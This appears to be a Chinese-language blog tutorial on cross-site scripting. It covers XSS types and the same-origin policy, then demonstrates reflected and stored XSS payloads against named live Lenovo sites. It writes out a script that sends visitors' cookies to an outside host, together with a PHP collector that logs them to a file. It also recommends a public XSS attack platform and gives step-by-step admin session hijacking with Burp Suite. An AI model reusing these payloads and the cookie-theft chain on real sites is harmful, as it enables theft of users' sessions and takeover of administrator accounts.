xss脚本攻击
xss脚本攻击不仅仅只是alert(1)就算完了,xss脚本攻击真正的用处是盗取普通用户的cookie,或者盗取管理员的cookie。
xss分类(类型):
1、 反射型xss
2、 存储型xss
3、 DOM型xss
xss分类(代码):
1、js代码中xss
2、事件中的xss
3、html中的xss
4、外部引入xss
说到外部引入,讲一下同源策略与跨域请求
同源策略:
由Netscape提出的一个著名的安全策略,现在所有支持JavaScript 的浏览器都会使用这个策略,所谓同源是指:协议,域名,端口相同。
为什么需要同源策略?
假设现在没有同源策略,会发生什么事情呢?大家知道,JavaScript可以做很多东西,比如:读取/修改网页中某个值。嗯,你现在打开了浏览器,在一个tab窗口中打开了银行网站,在另外一个tab窗口中打开了一个恶意网站,而那个恶意网站挂了一个的专门修改银行信息的JavaScript,当你访问这个恶意网站并且执行它JavaScript时,你的银行页面就会被这个JavaScript修改,后果会非常严重!而同源策略就为了防止这种事情发生。
比如说,浏览器的两个tab页中分别打开了http://www.baidu.com/index.html和http: //www.google.com/index.html,其中,JavaScript1和JavaScript3是属于百度的脚本,而 JavaScript2是属于谷歌的脚本,当浏览器的tab1要运行一个脚本时,便会进行同源检查,只有和www.baidu.com同源的脚本才能被执行。所以,tab1只能执行JavaScript1和JavaScript3脚本,而JavaScript2不能 执行,从而防止其他网页对本网页的非法篡改。
这下,应该明白同源策略是什么意思了吧。
跨域请求,可以使用<script>标签的src属性,这样,就可以引入外部的js代码,达到绕过同源策略限制的目的。
现在的浏览器,基本上都有同源策略,xss攻击防范,大家可以研究下。
xss攻击平台:
http://xsser.me
可以通过该平台盗取cookie,也可以通过自己控制的服务器盗取cookie。
例1,本地xss
直接在浏览器输入:javascript:alert(document.cookie),即可将当前页面的cookie弹出来,如果要将当前页面中某个变量的值弹出来,直接alert (变量)即可。
例2,联想weixin站反射型xss
开启Firefox,输入:
http://weixin.lenovo.com/weixin/index.php/faq/faqdetail?faq_title_id=11111111
查看源码,可以看到,输入的数据已然被输出到<script>标签范围了,此时,我们就不用担心,构造<script>标签的事情了,我们就可以直接测试单引号,双引号,分号,alert,prompt,等等这些关键字是否被过滤或者编码!
输入:
http://weixin.lenovo.com/weixin/index.php/faq/faqdetail?faq_title_id=1'2"3(4;5alert6prompt
执行,查看源码:
var title_id = '1'2"3(4;5alert6prompt';
可见,双引号被编码成:",但是,单引号可以用,而且,这里分号与//注释符也可以使用,关键字alert也没有过滤。
于是,构造输入:
http://weixin.lenovo.com/weixin/index.php/faq/faqdetail?faq_title_id=111';alert(1)//
果断弹窗!
此时,查看该页面源码,xss Playload如下:
var title_id = '111';alert(1)//';
等价于:
var title_id = '111';
alert(1)
如图所示:
其实,xss漏洞挖掘,本质上还是在知晓xss漏洞原理的情况下,熟读js代码。除此之外,没有其他的捷径了!当然,xss漏洞挖掘技巧还是非常重要的!
例3,联想ask站存储型xss
开启Firefox,输入:http://ask.lenovo.com.cn/html/index.html
注册,登录,发帖:
贴子详情:
添加问题:<svg/onload=alert(1)> //这里即是xss的输入关键点
详细描述:123 //这里随便填写就好了
如图所示:
发帖:
直接就弹窗了:
此时
如果,将<svg/onload=alert(1)>改成<svg/onload=alert(document.cookie)>,就会弹出当前访问用户的cookie
更进一步
如果,将<svg/onload=alert(document.cookie)>改成如下代码:
<script>
document.location = 'http://baidu.com/cookie.php?cookie=' + document.cookie;
</script>
而此时,baidu.com服务器web根目录下的cookie.php源代码如下:
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>
大家可以看到,通过这两段代码,我们就可以搜集所有访问该xss页面用户的cookie了。
并且,将搜集到的所有cookie都保存到baidu.com服务器web根目录下的cookie.txt文件中。
如果,ask站的流量大,那么,cookie.txt文件中cookie就多,换句话说,站点流量的大小直接决定我们搜集cookie的多少!
当然,这只是php代码搜集cookie的案例,其他语言代码也可以搜集cookie,可以根据具体server环境,选择不同的搜集cookie的代码。
搜集到了cookie后,我们拿他来干嘛?
当然是欺骗普通用户,或者是管理员了!
如果是普通用户的cookie,我们就可以欺骗普通用户
如果是管理员的cookie,我们就可以欺骗管理员了
例如,联想ask站
欺骗的具体流程,如下:
1、 注册一个普通用户,如:xsser
2、 成功登录该普通用户一次,服务器就会在该普通用户的本地生成该用户对应的cookie
3、 再次登录该普通用户,使用burpsuite抓取登录请求数据包
4、 可以看到:http头中xsser用户对应的cookie字段及cookie值
5、 这个值,就是xsser用户在ask站对应的cookie值
6、 使用ask站admin用户的cookie值替换该处xsser用户的cookie值
7、 替换完成后,使用burpsuite提交登录请求数据包
8、 admin用户登录成功!
到此,我们就算欺骗admin用户,成功登录了!
如果,admin用户是普通用户,那么,就并没有什么太大的用处,xsser就是普通用户!
如果,admin用户是管理员用户,那么,此时,我们就是ask站的管理员了!
例4, dom xss
简单来说,dom xss就是html页面本身的js代码所触发的xss,可以绕过浏览器和waf的防护。
大家有空可以自行研究下。
xss脚本攻击的更多相关文章
- XSS脚本攻击漫谈
XSS跨站脚本攻击一直都被认为是客户端 Web安全中最主流的攻击方式.因为 Web环境的复杂性以及 XSS跨站脚本攻击的多变性,使得该类型攻击很难彻底解决.那么,XSS跨站脚本攻击具体攻击行为是什 ...
- 第二百六十五节,xss脚本攻击介绍
xss脚本攻击介绍 Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常 ...
- SpringBoot过滤XSS脚本攻击
XSS攻击是什么 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安 ...
- 【快学SpringBoot】过滤XSS脚本攻击(包括json格式)
若图片查看异常,请前往掘金查看:https://juejin.im/post/5d079e555188251ad81a28d9 XSS攻击是什么 XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cas ...
- 防止xss(脚本攻击)的方法之过滤器
一 什么是脚本注入 概念我就不说了 直接百度一份 XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中.比如这些代码包括HTML代码和客户端 ...
- XSS 跨站脚本攻击实例1
14.44-16.22 编码,跨站脚本攻击1 16.22-16.53 整理cnblog 这篇文章适合知道有XSS脚本攻击,但是一头雾水,从未操作过,也不知道脚本攻击会给客户端用户带来什么不便之处 ...
- Fortify漏洞之Cross-Site Scripting(XSS 跨站脚本攻击)
书接上文,继续对Fortify漏洞进行总结,本篇主要针对XSS跨站脚步攻击漏洞进行总结,如下: 1.Cross-Site Scripting(XSS 跨站脚本攻击) 1.1.产生原因: 1. 数据通过 ...
- 解析如何防止XSS跨站脚本攻击
2012-11-20 09:03 (分类:网络安全) 这些规则适用于所有不同类别的XSS跨站脚本攻击,可以通过在服务端执行适当的解码来定位映射的XSS以及存储的XSS,由于XSS也存在很多特殊情况,因 ...
- ASP.NET Core中的OWASP Top 10 十大风险-跨站点脚本攻击 (XSS)
不定时更新翻译系列,此系列更新毫无时间规律,文笔菜翻译菜求各位看官老爷们轻喷,如觉得我翻译有问题请挪步原博客地址 本博文翻译自: https://dotnetcoretutorials.com/201 ...
随机推荐
- 也用 Log4Net 之将自定义属性记录到文件中 (三)
也用 Log4Net 之将自定义属性记录到文件中 (三) 即解决了将自定义属性记录到数据库之后.一个新的想法冒了出来,自定义属性同样也能记录到文件中吗?答案是肯定的,因为Log4Net既然已经考虑 ...
- SQL Server 2008 R2主数据服务安装
SQL Server 2008 R2的主数据服务(Master Data Services,简称MDS)已经放出,目前是CTP版本,微软提供了下载地址: http://www.microsoft.co ...
- (转载)C++lambda表达式
(转载)http://www.cnblogs.com/L-hq815/archive/2012/08/23/2653002.html lambda表达式 C++ 语言中的lambda表达式在很多情况下 ...
- 基于Hadoop 2.2.0的高可用性集群搭建步骤(64位)
内容概要: CentSO_64bit集群搭建, hadoop2.2(64位)编译,安装,配置以及测试步骤 新版亮点: 基于yarn计算框架和高可用性DFS的第一个稳定版本. 注1:官网只提供32位re ...
- Mac java环境配置
进入命令行 cd ~ touch .bash_profile vi .bash_profile 输入内容jdk变量配置内容: export JAVA_HOME=/Library/Java/JavaVi ...
- 【Hadoop代码笔记】Hadoop作业提交之TaskTracker获取Task
一.概要描述 在上上一篇博文和上一篇博文中分别描述了jobTracker和其服务(功能)模块初始化完成后,接收JobClient提交的作业,并进行初始化.本文着重描述,JobTracker如何选择作业 ...
- POJ2486 - Apple Tree(树形DP)
题目大意 给定一棵n个结点的树,每个结点上有一定数量的苹果,你可以从结点1开始走k步(从某个结点走到相邻的结点算一步),经过的结点上的苹果都可以吃掉,问你最多能够吃到多少苹果? 题解 蛋疼的问题就是可 ...
- [Tutorial] Using the RasPi as a WiFi hostspot
http://www.raspberrypi.org/forums/viewtopic.php?f=36&t=19120 http://wireless.kernel.org/en/users ...
- Shell 脚本学习资料搜集
Shell文档 ChinaUnix上大神“網中人”总结的Shell十三问,强烈推荐,这本书讲得比较精炼,而且都是一些Shell学习中容易把握不住的一些细节难点.每一问都写得非常精彩.ChinaUnix ...
- android 数据存储操作之SQLite
一. SQLite介绍 SQLite是android内置的一个很小的关系型数据库. 二. SQLiteOpenHelper的使用方法 ①SQLiteOpenHelper是一个辅助类来管理数据库的创建和 ...